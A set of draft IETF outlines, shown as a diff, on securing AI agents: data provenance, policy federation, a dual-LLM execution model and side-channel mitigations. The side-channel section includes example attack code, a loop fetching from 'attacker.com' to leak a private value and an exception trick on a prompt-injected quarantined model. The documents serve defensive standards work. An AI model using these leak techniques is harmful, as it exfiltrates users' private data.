```json
|
||||
{
|
||||
"a2a:message": { ... },
|
||||
"a2a:provenance": {
|
||||
"chain": [ ... ],
|
||||
"hop": {
|
||||
"agent_id": "agent-a@org1.example",
|
||||
"timestamp": "2026-03-09T14:30:02Z",
|
||||
"attestation": "<signature>"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 Provenance Compaction
|
||||
|
||||
For long chains, provenance can be compacted:
|
||||
|
||||
1. **Hash chaining**: replace full chain with Merkle tree root + most recent N entries
|
||||
2. **Trust boundary summarization**: when crossing org boundaries, summarize internal provenance as a single attested record
|
||||
3. **TTL-based pruning**: provenance entries older than a configurable TTL are archived (reference retained, detail available on request)
|
||||
|
||||
## 5. Real-Time Provenance Query
|
||||
|
||||
*Directly addresses Gap #84: Real-time AI agent explainability protocols.*
|
||||
|
||||
### 5.1 Query Interface
|
||||
|
||||
Any participant (user, operator, peer agent) can query provenance:
|
||||
|
||||
```json
|
||||
{
|
||||
"query:type": "explain_value",
|
||||
"query:value_ref": "val-d",
|
||||
"query:depth": "full",
|
||||
"query:format": "graph"
|
||||
}
|
||||
```
|
||||
|
||||
Response:
|
||||
|
||||
```json
|
||||
{
|
||||
"explain:value_ref": "val-d",
|
||||
"explain:summary": "Email address extracted from meeting notes retrieved from cloud storage, combined with user-specified recipient name",
|
||||
"explain:graph": {
|
||||
"nodes": [
|
||||
{"id": "user_input", "trust": "trusted", "content_hint": "user query"},
|
||||
{"id": "tool_1:search_notes", "trust": "tool", "content_hint": "meeting notes"},
|
||||
{"id": "q_llm:extract", "trust": "untrusted", "content_hint": "extracted email"}
|
||||
],
|
||||
"edges": [
|
||||
{"from": "tool_1:search_notes", "to": "q_llm:extract"},
|
||||
{"from": "q_llm:extract", "to": "val-d"}
|
||||
]
|
||||
},
|
||||
"explain:trust_assessment": "UNTRUSTED — depends on quarantined LLM extraction from tool output",
|
||||
"explain:timestamp": "2026-03-09T14:30:05Z"
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 Streaming Provenance
|
||||
|
||||
For long-running agent tasks, provenance can be streamed:
|
||||
|
||||
- SSE (Server-Sent Events) or WebSocket connection
|
||||
- Each tool invocation emits a provenance event
|
||||
- Operators see the dependency graph build in real time
|
||||
|
||||
## 6. Privacy-Preserving Provenance
|
||||
|
||||
*Addresses Gap #93: Privacy-preserving agent-to-agent communication.*
|
||||
|
||||
### 6.1 The Provenance Privacy Paradox
|
||||
|
||||
Provenance metadata can itself leak sensitive information:
|
||||
|
||||
- Knowing *which tools were called* reveals the user's intent
|
||||
- Knowing *inner sources* (e.g., email senders) reveals the user's contacts
|
||||
- The transformation chain reveals the agent's reasoning process
|
||||
|
||||
### 6.2 Privacy Controls
|
||||
|
||||
1. **Selective disclosure**: agents can share provenance summaries (trust level, origin type) without full chains
|
||||
2. **Zero-knowledge trust**: "this value is trusted" attested by a trusted third party, without revealing the full provenance
|
||||
3. **Provenance redaction**: when crossing privacy boundaries, inner sources are replaced with attestations
|
||||
4. **Need-to-know**: provenance detail levels based on the requester's authorization
|
||||
|
||||
```json
|
||||
{
|
||||
"prov:origin": {
|
||||
"type": "attested",
|
||||
"attestor": "org1.example",
|
||||
"trust_level": "trusted",
|
||||
"detail": "redacted — contact org1.example for full provenance"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 7. Relationship to ECT
|
||||
|
||||
Execution Context Tokens (draft-nennemann-wimse-ect) record *what happened* in a DAG of signed tokens. Provenance tracking records *where data came from*. They are complementary:
|
||||
|
||||
| Aspect | ECT | This Draft |
|
||||
|--------|-----|-----------|
|
||||
| **Tracks** | Task execution events | Data origin and flow |
|
||||
| **Granularity** | Per-task | Per-value |
|
||||
| **Format** | JWT with DAG links | JSON provenance records |
|
||||
| **Purpose** | Audit "what was done" | Explain "why this data" |
|
||||
|
||||
Integration: ECT claims can reference provenance records, and provenance records can link to ECT task IDs.
|
||||
|
||||
## 8. Security Considerations
|
||||
|
||||
- Provenance records must be integrity-protected (signed by the producing agent)
|
||||
- Provenance forgery (claiming a higher trust level) must be detectable via attestation chains
|
||||
- Provenance metadata size can be significant — compaction mechanisms are essential
|
||||
- Timing information in provenance can leak operational patterns
|
||||
|
||||
## 9. Open Questions
|
||||
|
||||
1. **Standard vocabulary**: should provenance types be extensible or fixed?
|
||||
2. **Cross-standard alignment**: how does this relate to W3C PROV (provenance ontology)?
|
||||
3. **Storage**: who is responsible for storing provenance long-term? Each agent? A shared ledger?
|
||||
4. **Legal implications**: does provenance tracking create liability for organizations that produce it?
|
||||
|
||||
## 10. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- Denning. "A lattice model of secure information flow." CACM, 1976.
|
||||
- W3C PROV: Provenance Data Model. W3C Recommendation, 2013.
|
||||
- draft-nennemann-wimse-ect (Execution Context Tokens)
|
||||
- draft-ietf-wimse-arch (WIMSE architecture)
|
||||
@@ -0,0 +1,300 @@
|
||||
---
|
||||
title: "Security Policy Negotiation and Federation for AI Agent Ecosystems"
|
||||
draft_name: draft-nennemann-ai-agent-policy-federation-00
|
||||
intended_wg: SECDISPATCH or OAUTH
|
||||
status: outline
|
||||
gaps_addressed: [83, 87, 90]
|
||||
camel_sections: [5.2, 9.1]
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Security Policy Negotiation and Federation for AI Agent Ecosystems
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
CaML demonstrates that security policies — rules governing what data can flow to which tools — are essential for safe AI agent operation. However, CaML defines policies at the **single engine level**. In real multi-organization agent ecosystems:
|
||||
|
||||
- **Different organizations have different policies** (Gap #83): Org A's email policy may allow sharing with partners; Org B's may not
|
||||
- **Identity and trust models differ across domains** (Gap #87): IoT, web, telecom, and industrial agents use incompatible authentication mechanisms
|
||||
- **Agents cannot discover each other's capabilities or constraints** (Gap #90): when agents collaborate, they have no standard way to negotiate what data flows are permitted
|
||||
|
||||
This creates a fragmented security landscape where agents either over-restrict (breaking utility) or under-restrict (creating vulnerabilities).
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document defines:
|
||||
|
||||
1. A **policy publication format** for organizations to declare their agent security policies
|
||||
2. A **policy negotiation protocol** for agents to agree on data handling rules before collaboration
|
||||
3. A **policy federation framework** for resolving conflicts between policies from different trust domains
|
||||
4. **Liability attribution** based on policy decisions
|
||||
|
||||
## 3. Policy Publication
|
||||
|
||||
### 3.1 Organization Policy Document
|
||||
|
||||
Organizations publish their agent security policies at a well-known endpoint:
|
||||
|
||||
```
|
||||
GET /.well-known/ai-agent-policies HTTP/1.1
|
||||
Host: org1.example
|
||||
```
|
||||
|
||||
Response:
|
||||
|
||||
```json
|
||||
{
|
||||
"policies:version": "1.0",
|
||||
"policies:org": "org1.example",
|
||||
"policies:effective_date": "2026-01-01",
|
||||
"policies:tools": {
|
||||
"send_email": {
|
||||
"policy_ref": "https://org1.example/policies/send-email-v2",
|
||||
"summary": "Recipients must be in readers set or user-approved",
|
||||
"strictness": "high"
|
||||
},
|
||||
"cloud_storage_read": {
|
||||
"policy_ref": "https://org1.example/policies/storage-read-v1",
|
||||
"summary": "Outputs tagged with document access list as readers",
|
||||
"strictness": "medium"
|
||||
}
|
||||
},
|
||||
"policies:global_rules": [
|
||||
{
|
||||
"rule": "no_pii_to_external",
|
||||
"description": "PII-classified data never flows to tools hosted outside org1.example",
|
||||
"enforcement": "mandatory"
|
||||
}
|
||||
],
|
||||
"policies:trust_domains": [
|
||||
{
|
||||
"domain": "org2.example",
|
||||
"trust_level": "partner",
|
||||
"policy_overrides": []
|
||||
}
|
||||
],
|
||||
"policies:signature": "<signed by org1.example>"
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 Policy Detail Document
|
||||
|
||||
Each referenced policy provides full enforcement rules:
|
||||
|
||||
```json
|
||||
{
|
||||
"policy:id": "send-email-v2",
|
||||
"policy:tool": "send_email",
|
||||
"policy:version": "2.0",
|
||||
"policy:rules": [
|
||||
{
|
||||
"id": "r1",
|
||||
"check": "readers_include_recipient",
|
||||
"on_fail": "deny_with_user_prompt",
|
||||
"exceptions": [
|
||||
{
|
||||
"condition": "recipient_domain == org1.example",
|
||||
"action": "allow",
|
||||
"rationale": "Internal recipients always allowed"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"policy:required_capabilities": ["cap:source_tracking", "cap:reader_labels"],
|
||||
"policy:compatible_with": ["camel-v1", "progent-v1"]
|
||||
}
|
||||
```
|
||||
|
||||
## 4. Policy Negotiation Protocol
|
||||
|
||||
### 4.1 Pre-Collaboration Handshake
|
||||
|
||||
Before two agents exchange data, they negotiate compatible policies:
|
||||
|
||||
```
|
||||
Agent A (org1.example) Agent B (org2.example)
|
||||
│ │
|
||||
│──── PolicyOffer ──────────────► │
|
||||
│ {my_policies, required_caps} │
|
||||
│ │
|
||||
│◄──── PolicyResponse ────────── │
|
||||
│ {your_policies, compatible, │
|
||||
│ proposed_merged_policy} │
|
||||
│ │
|
||||
│──── PolicyAccept/Reject ──────► │
|
||||
│ {accepted_policy_id} │
|
||||
│ │
|
||||
│◄═══ Data exchange begins ═════► │
|
||||
```
|
||||
|
||||
### 4.2 Policy Compatibility Check
|
||||
|
||||
Two policies are compatible if:
|
||||
|
||||
1. Both support the required capability types (provenance, readers, etc.)
|
||||
2. No mandatory rules from either side are contradicted
|
||||
3. The intersection of allowed data flows is non-empty (some useful work can be done)
|
||||
|
||||
### 4.3 Merged Policy
|
||||
|
||||
When policies differ, the negotiation produces a **merged policy**:
|
||||
|
||||
```json
|
||||
{
|
||||
"merged_policy:id": "merged-a1b2",
|
||||
"merged_policy:participants": ["org1.example", "org2.example"],
|
||||
"merged_policy:rules": [
|
||||
{
|
||||
"source": "org1.example",
|
||||
"rule": "no_pii_to_external",
|
||||
"enforcement": "mandatory",
|
||||
"applies_to": "data originating from org1"
|
||||
},
|
||||
{
|
||||
"source": "org2.example",
|
||||
"rule": "recipients_must_be_authenticated",
|
||||
"enforcement": "mandatory",
|
||||
"applies_to": "data originating from org2"
|
||||
}
|
||||
],
|
||||
"merged_policy:conflict_resolution": "most_restrictive_wins",
|
||||
"merged_policy:valid_until": "2026-03-09T15:30:00Z"
|
||||
}
|
||||
```
|
||||
|
||||
## 5. Policy Federation Framework
|
||||
|
||||
### 5.1 Conflict Resolution Strategies
|
||||
|
||||
| Strategy | Description | Use Case |
|
||||
|----------|-------------|----------|
|
||||
| `most_restrictive_wins` | Apply the stricter of conflicting rules | Default for cross-org |
|
||||
| `origin_policy_governs` | Data follows the policy of the org that produced it | Data sovereignty |
|
||||
| `destination_policy_governs` | Receiving org's policy applies | Regulatory compliance |
|
||||
| `explicit_consent` | User must approve any flow that either policy would restrict | High-security |
|
||||
| `arbiter_decides` | Trusted third party resolves conflicts | Multi-party disputes |
|
||||
|
||||
### 5.2 Trust Domain Mapping
|
||||
|
||||
*Addresses Gap #87: Cross-domain identity federation.*
|
||||
|
||||
Different domains use different identity systems. The federation framework provides translation:
|
||||
|
||||
```json
|
||||
{
|
||||
"trust_mapping:version": "1.0",
|
||||
"trust_mapping:domains": {
|
||||
"web": {
|
||||
"identity_type": "oauth2_client_id",
|
||||
"reader_format": "email",
|
||||
"example": "user@org1.example"
|
||||
},
|
||||
"iot": {
|
||||
"identity_type": "x509_device_cert",
|
||||
"reader_format": "device_uri",
|
||||
"example": "urn:device:sensor-42"
|
||||
},
|
||||
"telecom": {
|
||||
"identity_type": "sim_identity",
|
||||
"reader_format": "msisdn",
|
||||
"example": "+491234567890"
|
||||
}
|
||||
},
|
||||
"trust_mapping:equivalences": [
|
||||
{
|
||||
"assertion": "user@org1.example ≡ urn:device:sensor-42",
|
||||
"attested_by": "org1.example",
|
||||
"valid_until": "2026-12-31"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## 6. Liability Attribution
|
||||
|
||||
*Addresses Gap #83: Cross-organizational AI agent liability.*
|
||||
|
||||
### 6.1 Policy Decision Log
|
||||
|
||||
Every policy evaluation is logged with attribution:
|
||||
|
||||
```json
|
||||
{
|
||||
"liability:event_id": "evt-9c3a2d",
|
||||
"liability:action": "send_email",
|
||||
"liability:data_provenance": "prov-8c3a2d",
|
||||
"liability:policy_evaluated": "merged-a1b2",
|
||||
"liability:decision": "allowed",
|
||||
"liability:deciding_rule": {
|
||||
"source": "org1.example",
|
||||
"rule_id": "r1",
|
||||
"rationale": "Recipient in readers set per org1 policy"
|
||||
},
|
||||
"liability:responsible_party": "org1.example",
|
||||
"liability:timestamp": "2026-03-09T14:35:00Z"
|
||||
}
|
||||
```
|
||||
|
||||
### 6.2 Liability Chain
|
||||
|
||||
When harm occurs, the liability chain is traceable:
|
||||
|
||||
1. **Which policy allowed the action?** → the merged policy, specific rule
|
||||
2. **Which organization's rule was decisive?** → the `deciding_rule.source`
|
||||
3. **Was the policy correctly evaluated?** → compare logged capabilities against rule requirements
|
||||
4. **Was provenance accurate?** → verify provenance attestation signatures
|
||||
|
||||
### 6.3 Liability Models
|
||||
|
||||
| Model | Description | Applicability |
|
||||
|-------|-------------|---------------|
|
||||
| `origin_liable` | Org that produced the data is liable | Data quality issues |
|
||||
| `policy_owner_liable` | Org whose policy allowed the action is liable | Policy defects |
|
||||
| `executor_liable` | Agent that executed the tool is liable | Execution errors |
|
||||
| `shared_liability` | All participants share liability proportionally | Default for partnerships |
|
||||
| `insurance_model` | Pre-negotiated insurance covers harm | Enterprise deployments |
|
||||
|
||||
## 7. Integration with Capability Negotiation
|
||||
|
||||
*Addresses Gap #90: AI agent capability negotiation protocols.*
|
||||
|
||||
Policy federation naturally extends to capability negotiation:
|
||||
|
||||
```json
|
||||
{
|
||||
"capability_offer": {
|
||||
"agent_id": "agent-a@org1.example",
|
||||
"capabilities": [
|
||||
{"type": "email_send", "restrictions": ["org1.example domains only"]},
|
||||
{"type": "file_read", "restrictions": ["user-owned files only"]},
|
||||
{"type": "llm_query", "restrictions": ["no PII in prompts"]}
|
||||
],
|
||||
"required_from_peer": [
|
||||
{"type": "provenance_tracking", "min_version": "1.0"},
|
||||
{"type": "reader_labels", "min_version": "1.0"}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 8. Security Considerations
|
||||
|
||||
- Policy documents must be integrity-protected and versioned
|
||||
- Policy negotiation must be authenticated (mutual TLS, WIMSE tokens)
|
||||
- Cached policy decisions should be invalidated when policies change
|
||||
- Policy documents themselves can leak organizational security posture — access control on `/.well-known/ai-agent-policies` may be warranted
|
||||
|
||||
## 9. Open Questions
|
||||
|
||||
1. **Policy language expressiveness**: JSON rules vs. Rego/OPA vs. Python (CaML's approach) — standardize or allow pluggable?
|
||||
2. **Dynamic renegotiation**: can policies be renegotiated mid-conversation?
|
||||
3. **Regulatory mapping**: how do GDPR, CCPA, etc. map to policy rules?
|
||||
4. **Scalability**: with N organizations, policy negotiation is O(N²) — federation hierarchies?
|
||||
|
||||
## 10. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- RFC 9635 (GNAP: Grant Negotiation and Authorization Protocol)
|
||||
- RFC 6749 (OAuth 2.0 Authorization Framework)
|
||||
- draft-ietf-wimse-arch (WIMSE architecture)
|
||||
- Open Policy Agent (OPA) / Rego policy language
|
||||
@@ -0,0 +1,273 @@
|
||||
---
|
||||
title: "Privileged/Quarantined Execution Model for Agentic AI Systems"
|
||||
draft_name: draft-nennemann-ai-agent-dual-execution-00
|
||||
intended_wg: SECDISPATCH → new WG
|
||||
status: outline
|
||||
gaps_addressed: [89, 92, 94]
|
||||
camel_sections: [5.1]
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Privileged/Quarantined Execution Model for Agentic AI Systems
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
Current AI agent architectures use a **single LLM** that simultaneously:
|
||||
|
||||
- Reads the user's trusted instructions
|
||||
- Processes untrusted external data (emails, web pages, documents)
|
||||
- Plans which tools to call
|
||||
- Decides what arguments to pass
|
||||
|
||||
This architectural conflation is the root cause of prompt injection vulnerabilities. An adversary who can influence the external data can influence the plan and the arguments — because the same model processes both.
|
||||
|
||||
CaML (Debenedetti et al., 2025) implements the first concrete **Dual-LLM architecture** where a Privileged LLM (P-LLM) handles planning and a Quarantined LLM (Q-LLM) handles untrusted data parsing, with strict isolation between them. This separation is analogous to kernel/user-space separation in operating systems.
|
||||
|
||||
No IETF standard defines roles, isolation requirements, or behavioral contracts for multi-component AI agent architectures.
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document defines:
|
||||
|
||||
1. **Execution roles** for AI agent components (Privileged, Quarantined, Orchestrator)
|
||||
2. **Isolation requirements** between roles
|
||||
3. **Behavioral contracts** specifying what each role can and cannot do
|
||||
4. **Communication channels** between roles with integrity guarantees
|
||||
5. A **role negotiation protocol** for multi-agent systems
|
||||
|
||||
## 3. Execution Roles
|
||||
|
||||
### 3.1 Role Definitions
|
||||
|
||||
| Role | CaML Term | Privileges | Restrictions |
|
||||
|------|-----------|-----------|-------------|
|
||||
| **Planner** | Privileged LLM (P-LLM) | Sees user query; generates execution plan; selects tools | Never sees tool outputs or external data content |
|
||||
| **Processor** | Quarantined LLM (Q-LLM) | Parses unstructured data into structured format | No tool access; cannot communicate arbitrary messages to Planner |
|
||||
| **Orchestrator** | CaML Interpreter | Executes plan; maintains data flow graph; enforces policies | Deterministic; no LLM reasoning |
|
||||
| **User** | Human | Approves policy violations; provides trusted input | — |
|
||||
|
||||
### 3.2 Role Isolation Matrix
|
||||
|
||||
```
|
||||
Can see: User Query Tool Outputs Plan External Data
|
||||
Planner ✓ ✗ ✓(own) ✗
|
||||
Processor ✗ ✗ ✗ ✓
|
||||
Orchestrator ✓ ✓ ✓ ✓(metadata only)
|
||||
User ✓ ✓ ✓ ✓
|
||||
```
|
||||
|
||||
Critical isolation: **The Planner never sees external data content. The Processor never has tool access.**
|
||||
|
||||
### 3.3 Communication Constraints
|
||||
|
||||
```
|
||||
User ──(trusted query)──► Planner
|
||||
Planner ──(plan code)──► Orchestrator
|
||||
Orchestrator ──(tool calls)──► Tools
|
||||
Tools ──(results)──► Orchestrator
|
||||
Orchestrator ──(structured data + schema)──► Processor
|
||||
Processor ──(structured output OR NotEnoughInfo)──► Orchestrator
|
||||
Orchestrator ──(error type only, no content)──► Planner [on error]
|
||||
```
|
||||
|
||||
The Processor can only communicate back:
|
||||
1. Structured data matching a Planner-specified schema (Pydantic-style)
|
||||
2. A `NotEnoughInformation` boolean signal (no free-text explanation — that would be an injection vector)
|
||||
|
||||
## 4. Behavioral Contracts
|
||||
|
||||
*Addresses Gap #94: AI agent behavioral specification languages.*
|
||||
|
||||
### 4.1 Contract Format
|
||||
|
||||
Each role has a formal behavioral contract:
|
||||
|
||||
```json
|
||||
{
|
||||
"contract:version": "1.0",
|
||||
"contract:role": "planner",
|
||||
"contract:invariants": [
|
||||
{
|
||||
"id": "inv-1",
|
||||
"description": "Planner never receives tool output content",
|
||||
"formal": "∀ step ∈ plan: planner.context ∩ tool_outputs = ∅",
|
||||
"enforcement": "orchestrator_enforced"
|
||||
},
|
||||
{
|
||||
"id": "inv-2",
|
||||
"description": "Plan is generated solely from user query and tool signatures",
|
||||
"formal": "plan = f(user_query, tool_signatures)",
|
||||
"enforcement": "architectural"
|
||||
},
|
||||
{
|
||||
"id": "inv-3",
|
||||
"description": "Planner output is deterministic code, not free-form text to tools",
|
||||
"formal": "planner.output ∈ restricted_python_subset",
|
||||
"enforcement": "parser_enforced"
|
||||
}
|
||||
],
|
||||
"contract:capabilities": [
|
||||
"generate_plan",
|
||||
"select_tools",
|
||||
"define_schemas_for_processor",
|
||||
"call_print_for_user_output"
|
||||
],
|
||||
"contract:prohibited": [
|
||||
"access_tool_outputs",
|
||||
"access_external_data",
|
||||
"communicate_with_processor_directly",
|
||||
"modify_orchestrator_state"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 Processor Contract
|
||||
|
||||
```json
|
||||
{
|
||||
"contract:version": "1.0",
|
||||
"contract:role": "processor",
|
||||
"contract:invariants": [
|
||||
{
|
||||
"id": "inv-1",
|
||||
"description": "Processor has no tool-calling capability",
|
||||
"formal": "processor.tools = ∅",
|
||||
"enforcement": "architectural"
|
||||
},
|
||||
{
|
||||
"id": "inv-2",
|
||||
"description": "Processor output conforms to Planner-specified schema",
|
||||
"formal": "processor.output ∈ schema(planner.request)",
|
||||
"enforcement": "schema_validation"
|
||||
},
|
||||
{
|
||||
"id": "inv-3",
|
||||
"description": "Processor cannot send free-text to Planner",
|
||||
"formal": "processor → planner: only {structured_data, NotEnoughInfo}",
|
||||
"enforcement": "orchestrator_enforced"
|
||||
}
|
||||
],
|
||||
"contract:capabilities": [
|
||||
"parse_unstructured_to_structured",
|
||||
"signal_insufficient_information"
|
||||
],
|
||||
"contract:prohibited": [
|
||||
"call_tools",
|
||||
"see_user_query",
|
||||
"send_arbitrary_text_to_planner",
|
||||
"access_other_tool_outputs"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 Contract Verification
|
||||
|
||||
Contracts can be verified at three levels:
|
||||
|
||||
1. **Architectural**: enforced by system design (Processor literally has no tool access)
|
||||
2. **Parser-enforced**: Planner output parsed and validated against restricted grammar
|
||||
3. **Runtime-monitored**: Orchestrator checks invariants at each step
|
||||
|
||||
## 5. Practical Considerations
|
||||
|
||||
### 5.1 Model Selection
|
||||
|
||||
CaML shows that the Processor role can use a **cheaper, weaker model**:
|
||||
|
||||
- P-LLM: Claude Sonnet, GPT-4o, o3 (needs strong reasoning)
|
||||
- Q-LLM: Claude Haiku, GPT-4o-mini (only needs structured extraction)
|
||||
|
||||
Using a local model for the Processor improves **privacy**: the P-LLM provider never sees tool outputs (which may contain sensitive data).
|
||||
|
||||
### 5.2 Error Handling
|
||||
|
||||
When the Processor encounters an error:
|
||||
|
||||
1. Processor signals `NotEnoughInformation` (boolean, no details)
|
||||
2. Orchestrator reports to Planner: error type + location (but **not** the data content)
|
||||
3. Planner generates alternative code
|
||||
4. Retry up to N times (CaML uses N=10)
|
||||
|
||||
Important: error messages from untrusted data must be **redacted** before reaching the Planner, as they could contain prompt injections.
|
||||
|
||||
### 5.3 Limitations
|
||||
|
||||
CaML identifies inherent limitations of the Dual-LLM pattern:
|
||||
|
||||
- **"Data requires action" failure**: when the required actions depend on untrusted data content, the Planner cannot plan without seeing the data
|
||||
- **Not enough context for Processor**: when the Processor needs information that wasn't passed to it, and cannot request it (that would be a communication channel)
|
||||
|
||||
## 6. Multi-Agent Role Mapping
|
||||
|
||||
*Addresses Gap #89: Adversarial AI agent detection in real-time.*
|
||||
|
||||
In multi-agent systems, each agent declares its role:
|
||||
|
||||
```json
|
||||
{
|
||||
"agent:id": "agent-a@org1.example",
|
||||
"agent:role_declaration": {
|
||||
"architecture": "dual_llm",
|
||||
"planner": {
|
||||
"model_family": "claude-sonnet",
|
||||
"contract_ref": "https://org1.example/contracts/planner-v2"
|
||||
},
|
||||
"processor": {
|
||||
"model_family": "claude-haiku",
|
||||
"contract_ref": "https://org1.example/contracts/processor-v1"
|
||||
},
|
||||
"orchestrator": {
|
||||
"type": "deterministic_interpreter",
|
||||
"contract_ref": "https://org1.example/contracts/orchestrator-v1"
|
||||
}
|
||||
},
|
||||
"agent:attestation": "<signed by org1.example>"
|
||||
}
|
||||
```
|
||||
|
||||
Peer agents can verify:
|
||||
- The counterpart uses a recognized execution model
|
||||
- Role contracts meet minimum security requirements
|
||||
- Attestations are valid and current
|
||||
|
||||
### 6.1 Detecting Adversarial Agents
|
||||
|
||||
An agent that violates its declared contracts can be detected by:
|
||||
|
||||
1. **Behavioral anomaly**: actions inconsistent with declared role contracts
|
||||
2. **Provenance inconsistency**: data claimed as "trusted" but provenance chain shows untrusted origins
|
||||
3. **Policy violation patterns**: repeated attempts to bypass policies suggest compromise
|
||||
|
||||
## 7. Ethical Conflict Resolution
|
||||
|
||||
*Partially addresses Gap #92: AI agent ethical decision conflict resolution.*
|
||||
|
||||
When agents with different ethical frameworks collaborate:
|
||||
|
||||
1. Each agent's Planner operates under its organization's ethical guidelines (encoded in its system prompt)
|
||||
2. The Orchestrator enforces policy-level ethical constraints
|
||||
3. When ethical conflicts arise at data exchange boundaries, the Policy Federation framework (Draft 4) handles resolution
|
||||
4. The execution model ensures ethical guidelines cannot be overridden by injected data
|
||||
|
||||
This is a partial solution — the execution model prevents **external manipulation** of ethical decisions, but does not resolve **genuine disagreements** between organizations' ethical frameworks.
|
||||
|
||||
## 8. Security Considerations
|
||||
|
||||
- Role isolation must be enforced architecturally, not just by prompting
|
||||
- The Orchestrator is the most critical component — if compromised, all guarantees fail
|
||||
- Model selection for Processor should consider adversarial robustness, not just capability
|
||||
- Role declarations should be verified, not just trusted
|
||||
|
||||
## 9. Open Questions
|
||||
|
||||
1. **Standardizing the restricted language**: CaML uses a Python subset. Should the standard mandate a specific language or allow alternatives?
|
||||
2. **Role granularity**: are Planner/Processor/Orchestrator sufficient, or do we need more fine-grained roles?
|
||||
3. **Recursive planning**: when a Planner needs to plan based on intermediate results, how to maintain isolation?
|
||||
4. **Multi-turn conversations**: how do roles work across conversation turns where context accumulates?
|
||||
|
||||
## 10. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- Willison. "The Dual LLM pattern for building AI assistants that can resist prompt injection." 2023.
|
||||
- Wu et al. "IsolateGPT: An Execution Isolation Architecture for LLM-Based Agentic Systems." NDSS, 2025.
|
||||
- Shi et al. "Progent: Programmable Privilege Control for LLM Agents." arXiv:2504.11703, 2025.
|
||||
@@ -0,0 +1,245 @@
|
||||
---
|
||||
title: "Side-Channel Mitigation Framework for AI Agent Interactions"
|
||||
draft_name: draft-nennemann-ai-agent-side-channels-00
|
||||
intended_wg: SECDISPATCH (BCP)
|
||||
status: outline
|
||||
gaps_addressed: [89, 93]
|
||||
camel_sections: [7]
|
||||
document_type: BCP (Best Current Practice)
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Side-Channel Mitigation Framework for AI Agent Interactions
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
Even when AI agent systems implement strong security measures — capability-based policies, control/data flow integrity, Privileged/Quarantined execution — **side-channel attacks** can still leak private data. CaML (Debenedetti et al., 2025, §7) identifies three concrete side-channel attack classes against agent systems:
|
||||
|
||||
1. **External resource inference**: an adversary causes the agent to make requests to an attacker-controlled server, where the number or pattern of requests leaks private information
|
||||
2. **Exception-based bit leaking**: an adversary triggers conditional exceptions that reveal one bit of private data per exception
|
||||
3. **Timing side-channels**: an adversary infers private values from execution timing differences
|
||||
|
||||
These are not theoretical — CaML demonstrates working exploits against Claude 3.5 Sonnet and o3-mini in their evaluation. Side-channel attacks are notoriously difficult to eliminate completely, but their impact can be reduced through careful system design.
|
||||
|
||||
This document is a **Best Current Practice (BCP)** guide for mitigating side-channel risks in AI agent systems.
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document provides:
|
||||
|
||||
1. A **taxonomy of side-channel risks** specific to AI agent systems
|
||||
2. **Mitigation strategies** for each risk category
|
||||
3. **Tool API design guidelines** that minimize side-channel exposure
|
||||
4. **Monitoring patterns** for detecting side-channel exploitation
|
||||
5. **STRICT vs. NORMAL mode** recommendations
|
||||
|
||||
## 3. Side-Channel Taxonomy
|
||||
|
||||
### 3.1 External Resource Inference
|
||||
|
||||
**Attack**: Agent code iterates over a private value (e.g., `for i in range(private_var): fetch("attacker.com/cat.jpg")`). The attacker counts requests to infer the private value.
|
||||
|
||||
**CaML context**: In NORMAL mode, the loop body doesn't carry dependencies from the loop condition. In STRICT mode, `fetch()` inside the loop inherits the dependency on `private_var` and policies can block it.
|
||||
|
||||
**Bandwidth**: up to `log₂(max_value)` bits per interaction (or more with range-based inference).
|
||||
|
||||
```
|
||||
Attacker's Server
|
||||
│
|
||||
│ GET /cat.jpg ×10 ← private_var = 10
|
||||
│ GET /cat.jpg ×20 ← private_var = 20
|
||||
│
|
||||
└── attacker infers private_var by counting requests
|
||||
```
|
||||
|
||||
### 3.2 Exception-Based Bit Leaking
|
||||
|
||||
**Attack**: The adversary prompt-injects the Processor (Q-LLM) to return an output that conditionally triggers an exception. If the exception halts execution before a state-changing tool call, the attacker observes whether the tool was called — leaking one bit.
|
||||
|
||||
**CaML context**: The Q-LLM can be influenced to return a value that causes an `IndexError` (e.g., returning 9999999 if a condition on private data is true, which then indexes past the end of a list).
|
||||
|
||||
```python
|
||||
# Attack: leak whether private_var == 10
|
||||
index = query_ai_assistant(
|
||||
f"If '{private_var}' is 10, return 9999999, else 0", int)
|
||||
l = [1, 2, 3]
|
||||
l[index] # IndexError if private_var == 10
|
||||
# ADVERSARY OBSERVABLE ACTION below:
|
||||
send_email(...) # only executes if no exception
|
||||
```
|
||||
|
||||
**Bandwidth**: 1 bit per exception (was the subsequent action observed or not?).
|
||||
|
||||
### 3.3 Timing Side-Channels
|
||||
|
||||
**Attack**: Agent execution time depends on private data. For example, if `time.sleep(private_var)` is possible, the attacker measures response time.
|
||||
|
||||
**CaML context**: CaML's restricted Python subset doesn't include `time`, but other timing variations (e.g., different code paths for different private values) may still be exploitable.
|
||||
|
||||
**Bandwidth**: depends on timing precision — generally low but non-zero.
|
||||
|
||||
### 3.4 Agent-Specific Side Channels (Beyond CaML)
|
||||
|
||||
| Channel | Attack Vector | Bandwidth |
|
||||
|---------|--------------|-----------|
|
||||
| **Token usage** | Private data influences response length → observable token count | Medium |
|
||||
| **Tool selection pattern** | Which tools are called reveals information about private data | Medium |
|
||||
